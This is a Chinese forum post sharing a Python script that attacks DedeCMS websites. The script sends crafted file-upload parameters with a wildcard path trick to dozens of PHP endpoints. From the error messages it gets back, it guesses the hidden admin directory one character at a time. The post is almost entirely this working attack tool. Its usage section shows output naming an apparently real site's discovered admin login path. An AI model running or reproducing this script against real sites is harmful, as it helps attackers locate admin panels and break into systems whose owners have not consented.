返回列表 发帖

[分享] dede后台爆破终结版

  1.     #!/usr/bin/env python
  2.     #coding:utf-8
  3.     import requests
  4.     import itertools
  5.     from random import choice
  6.     import sys

  7.     characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_!#@-"
  8.     back_dir = ""

  9.     show_message = {}
  10.     check_message = {}
  11.     valid_file = []
  12.     data = {
  13.         "_FILES[tools][tmp_name]" : "./../{p}<</images/adminico.gif",
  14.         "_FILES[tools][name]" : 0,
  15.         "_FILES[tools][size]" : 0,
  16.         "_FILES[tools][type]" : "image/gif"
  17.     }

  18.     headers = {
  19.             
  20.                             "User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0",
  21.                         "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
  22.                         "Accept-Language":"zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
  23.                         "Content-Type":"application/x-www-form-urlencoded",
  24.                         "Connection":"Close"
  25.     }

  26.     class Bute_Login:
  27.             global headers
  28.             def __init__(self,target):
  29.                     self.target = target

  30.             def Check(self):
  31.                     global data,check_message,valid_file
  32.                   
  33.                     File_Chek_List =['/tags.php','/include/vdimgck.php','/m/list.php','/m/view.php','/member/config.php','/plus/advancedsearch.php',
  34.                                       '/plus/arcmulti.php','/plus/bookfeedback.php','/plus/bookfeedback_js.php','/plus/car.php','/plus/carbuyaction.php',
  35.                                       '/plus/comments_frame.php','/plus/count.php','/plus/digg_ajax.php','/plus/digg_frame.php','/plus/digg_frame.php',
  36.                                          '/plus/disdls.php','/plus/diy.php','/plus/download.php','/plus/erraddsave.php',
  37.                                          '/plus/feedback.php','/plus/feedback_ajax.php','/plus/flink.php','/plus/flink.php','/plus/flink_add.php',
  38.                                          '/plus/freelist.php','/plus/heightsearch.php','/plus/list.php','/plus/mytag_js.php',
  39.                                          '/plus/posttocar.php','/plus/qrcode.php','/plus/recommend.php','/plus/rss.php','/plus/search.php','/plus/showphoto.php',
  40.                                          '/plus/stow.php','/plus/view.php','/plus/vote.php','/special/index.php']
  41.                     for filename in File_Chek_List:
  42.                             try:
  43.                                     res = requests.post(self.target+filename,data=data)
  44.                                     #print self.target+filename+"--->"+res.text
  45.                                     if "Upload filetype not allow !" in res.text and res.status_code == 200:
  46.                                             valid_file.append(filename)
  47.                             except:
  48.                                     pass
  49.                     #print valid_file
  50.                     #print valid_file
  51.                     if len(valid_file):
  52.                             if "/tags.php" in valid_file:
  53.                                     for i in valid_file:
  54.                                             if i == "/tags.php":
  55.                                                     return i
  56.                             else:
  57.                                     file_name = choice(valid_file)
  58.                                     return file_name
  59.                     else:
  60.                             return False

  61.             def Bute(self):
  62.                     f_name = self.Check()
  63.                     #print f_name
  64.                     if f_name != False:
  65.                             if f_name == "/tags.php":
  66.                                     prefix = "./"
  67.                             else:
  68.                                     prefix = "./../"
  69.                             flag = 0
  70.                             global characters,back_dir,data,check_message
  71.                             for num in range(1,7):        
  72.                                     if flag:
  73.                                             break
  74.                                     for pre in itertools.permutations(characters,num):
  75.                                             pre = ''.join(list(pre))
  76.                                             data["_FILES[tools][tmp_name]"] = data["_FILES[tools][tmp_name]"].format(p=pre)
  77.                                             print("testing",pre)
  78.                                             r = requests.post(self.target+f_name,data=data)
  79.                                             if "Upload filetype not allow !" not in r.text and r.status_code == 200:
  80.                                                     flag = 1
  81.                                                     back_dir = pre
  82.                                                     data["_FILES[tools][tmp_name]"] = "%s{p}<</images/adminico.gif"%prefix
  83.                                                     break
  84.                                             else:
  85.                                                     data["_FILES[tools][tmp_name]"] = "%s{p}<</images/adminico.gif"%prefix
  86.                             #print("[+] 前缀为:",back_dir)
  87.                             flag = 0
  88.                             for i in range(30):
  89.                                     if flag:
  90.                                             break
  91.                                     for ch in characters:
  92.                                             if ch == characters[-1]:
  93.                                                     flag = 1
  94.                                                     break
  95.                                             data["_FILES[tools][tmp_name]"] = data["_FILES[tools][tmp_name]"].format(p=back_dir+ch)
  96.                                             r = requests.post(self.target+f_name, data=data)
  97.                                             if "Upload filetype not allow !" not in r.text and r.status_code == 200:
  98.                                                     back_dir += ch
  99.                                                     #print("[+] ",back_dir)
  100.                                                     data["_FILES[tools][tmp_name]"] = "%s{p}<</images/adminico.gif"%prefix
  101.                                                     break
  102.                                             else:
  103.                                                     data["_FILES[tools][tmp_name]"] = "%s{p}<</images/adminico.gif"%prefix
  104.                             show_message['Login_url'] = self.target+"/%s"%back_dir
  105.                            
  106.                             print show_message
  107.                             return show_message
  108.                     else:
  109.                             check_message['Enumerate'] = False
  110.                             print check_message
  111.                             return check_message


  112.     def main(url):
  113.             N = Bute_Login(url)
  114.             N.Bute()

  115.     '''
  116.     usage:        python .\dede_login.py -u [url]http://www.xxx.com[/url]
  117.     output:
  118.                     ('testing', 'a')
  119.                     ('testing', 'b')
  120.                     ('testing', 'c')
  121.                     {'Login_url': 'http://www.chuheautism.com/cha'}

  122.     '''

  123.     if __name__ == '__main__':
  124.             if sys.argv[1] == "-u":
  125.                     main(sys.argv[2])
复制代码

返回列表